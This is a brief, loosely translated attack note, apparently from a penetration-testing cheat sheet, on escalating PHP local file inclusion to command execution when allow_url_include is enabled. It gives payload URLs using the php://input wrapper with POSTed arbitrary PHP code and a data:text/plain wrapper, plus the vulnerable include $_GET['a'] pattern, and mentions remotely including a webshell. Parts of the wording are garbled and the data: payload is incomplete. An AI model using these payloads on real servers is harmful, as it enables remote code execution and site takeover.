LFI command execution
Conditions:
[condition] when allow_url_include = On and PHP > = 5.2.0
[advantage] directly POST php code and execute
[note] must use include tangent execution functions (such as include require) can not use file_get_contents, etc. These functions will not execute functions in data/input.
[opinion] this is actually a way of thinking. When allow_url_include is opened, a sentence uploaded by any webshell can be included remotely.
Php://input
0x007.com/data.php?a=php://input
Post submission: arbitrary php code
Data:
Include $_ GET ['a']
0x007.com/data.php?a=data:text/plain
